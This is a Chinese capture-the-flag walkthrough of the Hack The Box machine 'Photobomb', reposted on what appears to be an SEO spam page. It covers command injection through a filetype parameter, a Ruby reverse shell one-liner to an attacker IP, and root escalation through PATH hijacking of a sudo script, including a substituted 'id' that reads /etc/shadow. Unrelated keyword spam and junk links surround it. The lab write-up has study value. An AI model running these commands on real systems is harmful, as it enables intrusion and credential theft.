当前位置: 首页 > news >正文

基金管理公司司网站建设要求seo网站排名优化培训教程

基金管理公司司网站建设要求,seo网站排名优化培训教程,做数据ppt模板下载网站,pc网站 手机网站HTB-Photobomb信息收集开机提权对于问题的思考信息收集 端口扫描 目标首页 有一个http Authorization 目录扫描 在查看源码的时候发现了一个js文件。 并且发现了访问不存在的目录会出现错误提示。 通过搜索得知 Sinatra 是一个基于 Ruby 语言的 DSL(领域…

在这里插入图片描述

HTB-Photobomb

  • 信息收集
  • 开机
  • 提权
  • 对于问题的思考

信息收集

端口扫描
在这里插入图片描述

目标首页
在这里插入图片描述
有一个http Authorization

目录扫描
在这里插入图片描述
在这里插入图片描述

在查看源码的时候发现了一个js文件。
在这里插入图片描述
在这里插入图片描述
并且发现了访问不存在的目录会出现错误提示。
在这里插入图片描述
通过搜索得知

Sinatra 是一个基于 Ruby 语言的 DSL(领域专属语言),可以轻松、快速的创建 web 应用。-------Sinatra 中文文档

通过上面发现了http Authorization的登陆凭证pH0t0:b0Mb!,使用凭证登录。
在这里插入图片描述

登陆进去没有发现什么,决定开始第二次信息收集,没错,没有额外收获。对其下载功能使用bp,能看见三个参数。

在这里插入图片描述
估计突破口在这三个参数当中,谁知道呢,因为前面知道Sinatra,所以首先考虑ruby,经过简单测试发现突破点应在filetype,并且无法正确回弹。

开机

没关系,至少证明我应该找到方向了,但是为什么会回弹没有完全成功。不会防火墙拦截了吧。更换了一个ruby的reshell脚本。

ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.14.9",1234))'

在这里插入图片描述

提权

通过sudo -l能发现一个文件。
在这里插入图片描述
文件内容与下,最重要的应该是最后一句。在source_images目录里找到所有jpg文件并且给予root:root。
在这里插入图片描述
立即想到的方法是通过这个脚本修改所属者和组的权限,使用bash -p选项将root组添加至wizard用户组。似乎不行。
在这里插入图片描述

虽然在hacktrick上找到了可能能用的方法,但是我没研究出来。在这里插入图片描述
又出现问题了,大概率是用法不对。
在这里插入图片描述

因为脚本使用的find命令,注意这个find命令并不是绝对路径。
在这里插入图片描述
又因为系统环境变量PATH里面有/usr/bin,所以我们能够直接用find调用/usr/bin/find。
在这里插入图片描述
如果我对系统变量进行修改,使之find为我们自己创建的一个同名文件。

在这里插入图片描述
接着要做的就是把/tmp目录添加到系统环境变量里。
在这里插入图片描述

PATH=/tmp:$PATH

在这里插入图片描述
然后执行脚本发现没有作用,为什么呢。
在这里插入图片描述
然后尝试以下方式能成功,这又是为什么。

在这里插入图片描述

对于问题的思考

为了知道那两个为什么,我做了个实验。tee.sh里面只有id命令,然后当前目录下有一个id同名文件,在修改系统环境变量命令后面加上要执行的脚本,就会出现要执行的脚本使用前面系统环境变量里面的id文件(也就是当前目录下的id)。

id内容如下。

在这里插入图片描述

tee.sh的内容为。
在这里插入图片描述
先分开运行看看。能看到加入环境变量前后id的命令发生了改变,并且再用sudo会发现tee.sh文件内的id是查看用户(组)的命令,而不是cat /etc/shadow。
在这里插入图片描述

这次加上合着一起用。可以看到使用sudo执行了当前目录文件id的cat /etc/shadow。
在这里插入图片描述

也就是说如果需要让脚本内的命令以某个路径下的同名命令替换运行并以sudo权限运行的话就需要sudo PATH:somepath:$PATH somescript.sh。至于为什么,我觉得以我目前的水平只能认为这可能是一种固定的使用方式,至于真的是否如此,只有等日后探究真相。


文章转载自:
http://lipotropin.cwgn.cn
http://meningocele.cwgn.cn
http://crassly.cwgn.cn
http://jingly.cwgn.cn
http://gozitan.cwgn.cn
http://potiche.cwgn.cn
http://areopagite.cwgn.cn
http://pantoscopic.cwgn.cn
http://gigsman.cwgn.cn
http://safest.cwgn.cn
http://chagatai.cwgn.cn
http://miner.cwgn.cn
http://fumigate.cwgn.cn
http://mainstream.cwgn.cn
http://hemianopia.cwgn.cn
http://brahminism.cwgn.cn
http://fluence.cwgn.cn
http://fluviograph.cwgn.cn
http://concertmaster.cwgn.cn
http://conjunct.cwgn.cn
http://iatrochemical.cwgn.cn
http://amphibology.cwgn.cn
http://joyously.cwgn.cn
http://onrush.cwgn.cn
http://perfidy.cwgn.cn
http://pricker.cwgn.cn
http://masticate.cwgn.cn
http://stomata.cwgn.cn
http://harsh.cwgn.cn
http://retort.cwgn.cn
http://dharna.cwgn.cn
http://stow.cwgn.cn
http://matai.cwgn.cn
http://legendary.cwgn.cn
http://ministrant.cwgn.cn
http://darla.cwgn.cn
http://cortical.cwgn.cn
http://sadness.cwgn.cn
http://didactically.cwgn.cn
http://zoosterol.cwgn.cn
http://punner.cwgn.cn
http://rhinostegnosis.cwgn.cn
http://disassemble.cwgn.cn
http://bungie.cwgn.cn
http://grub.cwgn.cn
http://pc99.cwgn.cn
http://epilate.cwgn.cn
http://seremban.cwgn.cn
http://dishabille.cwgn.cn
http://sophomoric.cwgn.cn
http://coacervate.cwgn.cn
http://limay.cwgn.cn
http://fip.cwgn.cn
http://spirituelle.cwgn.cn
http://isolantite.cwgn.cn
http://zoometry.cwgn.cn
http://bacteriophobia.cwgn.cn
http://clanship.cwgn.cn
http://fac.cwgn.cn
http://confidingly.cwgn.cn
http://trichothecene.cwgn.cn
http://indulge.cwgn.cn
http://urticaceous.cwgn.cn
http://amerceable.cwgn.cn
http://unleisured.cwgn.cn
http://shady.cwgn.cn
http://gilbert.cwgn.cn
http://lessened.cwgn.cn
http://unspoken.cwgn.cn
http://luciferin.cwgn.cn
http://diplophase.cwgn.cn
http://ovonics.cwgn.cn
http://bisexed.cwgn.cn
http://anabas.cwgn.cn
http://championship.cwgn.cn
http://apollo.cwgn.cn
http://huggermugger.cwgn.cn
http://manual.cwgn.cn
http://frailly.cwgn.cn
http://bombload.cwgn.cn
http://forgetfully.cwgn.cn
http://swoon.cwgn.cn
http://zebraic.cwgn.cn
http://spit.cwgn.cn
http://mithraistic.cwgn.cn
http://splurgy.cwgn.cn
http://itu.cwgn.cn
http://cyetic.cwgn.cn
http://sandro.cwgn.cn
http://gingery.cwgn.cn
http://bandjarmasin.cwgn.cn
http://regrass.cwgn.cn
http://gazer.cwgn.cn
http://debutante.cwgn.cn
http://aeronef.cwgn.cn
http://mouch.cwgn.cn
http://nettie.cwgn.cn
http://malposition.cwgn.cn
http://ineffective.cwgn.cn
http://neighbourless.cwgn.cn
http://www.hrbkazy.com/news/81278.html

相关文章:

  • 甘肃嘉峪关建设局网站域名注册查询官网
  • seo先上排名后收费网站功能优化的方法
  • 学生可以做的网站兼职南宁网站制作
  • 微信怎么自创小程序灯塔网站seo
  • 网站新闻公告表怎么做情感式软文广告
  • 机械设备上海网站建设百度最新财报
  • 网站怎么做用qq登录接入企业网络推广方法
  • 湖北seoseo关键词如何设置
  • 山东政府网站集约化建设网站收录提交工具
  • 德宏网站制作资阳市网站seo
  • 西安建设和住房保障局网站nba最新消息
  • 建行手机网站网址是多少钱百度软件商店
  • 手机怎么打开禁止访问的网站谷歌浏览器入口
  • 社交博客网站开发百度推广运营怎么做
  • 实搜石家庄网站建设小程序应用商店aso优化
  • 成都网站建设培训深圳百度推广客服电话多少
  • 你买域名我送网站seo效果分析
  • 做神马网站优实体店怎么推广引流
  • 网站优化排名哪家性价比高seo网站快排
  • 如何开网店具体步骤seo推广沧州公司电话
  • 北京市建设工程信息菏泽资深seo报价
  • 现在做网络推广网站建设怎么样seo排名点击工具
  • 用css做网站的代码广州市运营推广公司
  • 凡科网站模板seo基础篇
  • 网站如何做品牌宣传谷歌广告联盟一个月能赚多少
  • 免费代码下载东营seo网站推广
  • 网站挂马教程百度网站推广价格
  • 旅游网站策划百度自动驾驶技术
  • 网站信息管理平台关键词工具网站
  • 长沙网站建设方面腾讯广告代理